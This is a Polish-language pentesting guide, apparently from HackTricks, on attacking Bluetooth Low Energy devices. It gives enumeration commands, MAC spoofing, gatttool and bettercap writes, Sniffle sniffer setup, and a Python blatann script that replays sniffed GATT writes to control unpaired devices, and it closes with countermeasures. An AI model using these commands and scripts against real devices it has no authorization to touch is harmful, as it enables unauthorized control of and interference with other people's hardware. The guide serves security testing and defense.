Pentesting BLE - Bluetooth Low Energy

Reading time: 8 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Wprowadzenie

Dostępny od specyfikacji Bluetooth 4.0, BLE używa tylko 40 kanałów, obejmujących zakres 2400–2483.5 MHz. Dla porównania, tradycyjny Bluetooth używa 79 kanałów w tym samym paśmie.

Urządzenia BLE komunikują się przez wysyłanie advertising packets (beacons); pakiety te rozgłaszają istnienie urządzenia BLE innym pobliskim urządzeniom. Te beacony czasami również wysyłają dane.

Urządzenie nasłuchujące, zwane też urządzeniem centralnym, może odpowiedzieć na advertising packet za pomocą SCAN request wysłanego konkretnie do nadającego urządzenia. Response na to skanowanie używa tej samej struktury co advertising packet z dodatkowymi informacjami, które nie zmieściły się w początkowym advertising request — na przykład pełną nazwą urządzenia.

Bajt preambuły synchronizuje częstotliwość, natomiast czterobajtowy access address jest identyfikatorem połączenia, używanym w scenariuszach, gdy wiele urządzeń próbuje nawiązać połączenia na tych samych kanałach. Następnie Protocol Data Unit (PDU) zawiera advertising data. Istnieje kilka typów PDU; najczęściej używane to ADV_NONCONN_IND i ADV_IND. Urządzenia używają typu PDU ADV_NONCONN_IND, jeśli nie akceptują połączeń, transmitując dane tylko w advertising packet. Urządzenia używają ADV_IND, jeśli pozwalają na połączenia i przestają wysyłać advertising pakiety po nawiązaniu połączenia.

GATT

The Generic Attribute Profile (GATT) definiuje, jak urządzenie powinno formatować i przesyłać dane. Analizując powierzchnię ataku urządzenia BLE, często koncentrujesz się na GATT (lub GATTs), ponieważ to tam wyzwalana jest funkcjonalność urządzenia oraz gdzie dane są przechowywane, grupowane i modyfikowane. GATT wymienia cechy (characteristics), deskryptory (descriptors) i usługi (services) urządzenia w tabeli jako wartości 16- lub 32-bitowe. Characteristic to wartość danych wymieniana między urządzeniem centralnym a peryferyjnym. Te characteristic mogą mieć descriptors, które dostarczają dodatkowych informacji o nich. Characteristic są często grupowane w services, jeśli są powiązane z wykonywaniem konkretnej czynności.

Enumeracja

bash
hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool pozwala na nawiązanie połączenia z innym urządzeniem, wypisując charakterystyki tego urządzenia oraz odczytując i zapisując jego atrybuty.
GATTTool może uruchomić interaktywną powłokę za pomocą opcji -I:

bash
gatttool -i hci0 -I
[ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful
[A4:CF:12:6C:B3:76][LE]> characteristics
handle: 0x0002, char properties: 0x20, char value handle:
0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb
handle: 0x0015, char properties: 0x02, char value handle:
0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb
[...]

# Write data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-write-req <characteristic handle> -n <value>
gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n "04dc54d9053b4307680a"|xxd -ps)

# Read data
gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-read -a 0x16

# Read connecting with an authenticated encrypted connection
gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c

Bettercap

bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing i aktywne kontrolowanie niesparowanych urządzeń BLE

Wiele tanich peryferiów BLE nie wymusza pairing/bonding. Bez bonding szyfrowanie Link Layer nigdy nie jest włączane, więc ruch ATT/GATT jest w postaci jawnego tekstu. Off-path sniffer może śledzić połączenie, dekodować operacje GATT, aby poznać characteristic handles i wartości, a każdy pobliski host może następnie połączyć się i replay those writes, aby kontrolować urządzenie.

Sniffing with Sniffle (CC26x2/CC1352)

Sprzęt: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) przeflashowany z firmware'em Sniffle od NCC Group.

Zainstaluj Sniffle i jego Wireshark extcap na Linuksie:

bash
if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then
echo "[+] - Sniffle not installed! Installing at 1.10.0..."
sudo mkdir -p /opt/sniffle
sudo chown -R $USER:$USER /opt/sniffle
pushd /opt/sniffle
wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz
tar xvf v1.10.0.tar.gz
# Install Wireshark extcap for user and root only
mkdir -p $HOME/.local/lib/wireshark/extcap
ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap
sudo mkdir -p /root/.local/lib/wireshark/extcap
sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap
popd
else
echo "[+] - Sniffle already installed at 1.10.0"
fi

Wgraj do Sonoff firmware Sniffle (upewnij się, że port szeregowy jest poprawny, np. /dev/ttyUSB0):

bash
pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Przechwyć w Wireshark za pomocą Sniffle extcap i szybko przejdź do zapisów zmieniających stan, filtrując:

text
_ws.col.info contains "Sent Write Command"

To wyróżnia ATT Write Commands wysyłane przez klienta; handle i wartość często bezpośrednio odpowiadają akcjom urządzenia (np. zapisz 0x01 do buzzer/alert characteristic, 0x00 aby zatrzymać).

Szybkie przykłady Sniffle CLI:

bash
python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternatywny sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin również działa. Na małych/tańszych donglach Nordic zwykle nadpisuje się USB bootloader, aby wgrać sniffer firmware, więc albo zachowujesz dedykowany sniffer dongle, albo potrzebujesz J-Link/JTAG, aby później przywrócić bootloader.

Aktywne sterowanie przez GATT

Po zidentyfikowaniu writable characteristic handle i value ze sniffed traffic, połącz się jako dowolne central i wykonaj ten sam zapis:

  • Za pomocą Nordic nRF Connect for Desktop (BLE app):

  • Wybierz dongle nRF52/nRF52840, zeskanuj i połącz się z docelowym urządzeniem.

  • Przeglądaj bazę GATT, zlokalizuj docelową characteristic (często ma przyjazną nazwę, np. Alert Level).

  • Wykonaj Write z sniffed bytes (np. 01 aby wywołać, 00 aby zatrzymać).

  • Zautomatyzuj na Windows przy użyciu dongla Nordic i Python + blatann:

python
import time
import blatann

# CONFIG
COM_PORT = "COM29"  # Replace with your COM port
TARGET_MAC = "5B:B1:7F:47:A7:00"  # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + ",p")

# CONNECT
ble_device = blatann.BleDevice(COM_PORT)
ble_device.configure()
ble_device.open()
print(f"[-] Connecting to {TARGET_MAC}...")
peer = ble_device.connect(target_address).wait()
if not peer:
print("[!] Connection failed.")
ble_device.close()
raise SystemExit(1)

print("Connected. Discovering services...")
peer.discover_services().wait(5, exception_on_timeout=False)

# Example: write 0x01/0x00 to a known handle
for service in peer.database.services:
for ch in service.characteristics:
if ch.handle == 0x000b:  # Replace with your handle
print("[!] Beeping.")
ch.write(b"\x01")
time.sleep(2)
print("[+] And relax.")
ch.write(b"\x00")

print("[-] Disconnecting...")
peer.disconnect()
peer.wait_for_disconnect()
ble_device.close()

Notatki operacyjne i środki zaradcze

  • Preferuj Sonoff+Sniffle na Linux dla niezawodnego channel hopping i śledzenia połączeń. Trzymaj zapasowy Nordic sniffer jako rezerwę.
  • Bez pairing/bonding, każdy pobliski atakujący może obserwować writes i replay/craft własne do unauthenticated writable characteristics.
  • Środki zaradcze: wymagaj pairing/bonding i wymuś szyfrowanie; ustaw uprawnienia characteristic, aby wymagały authenticated writes; minimalizuj unauthenticated writable characteristics; zweryfikuj GATT ACLs za pomocą Sniffle/nRF Connect.

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks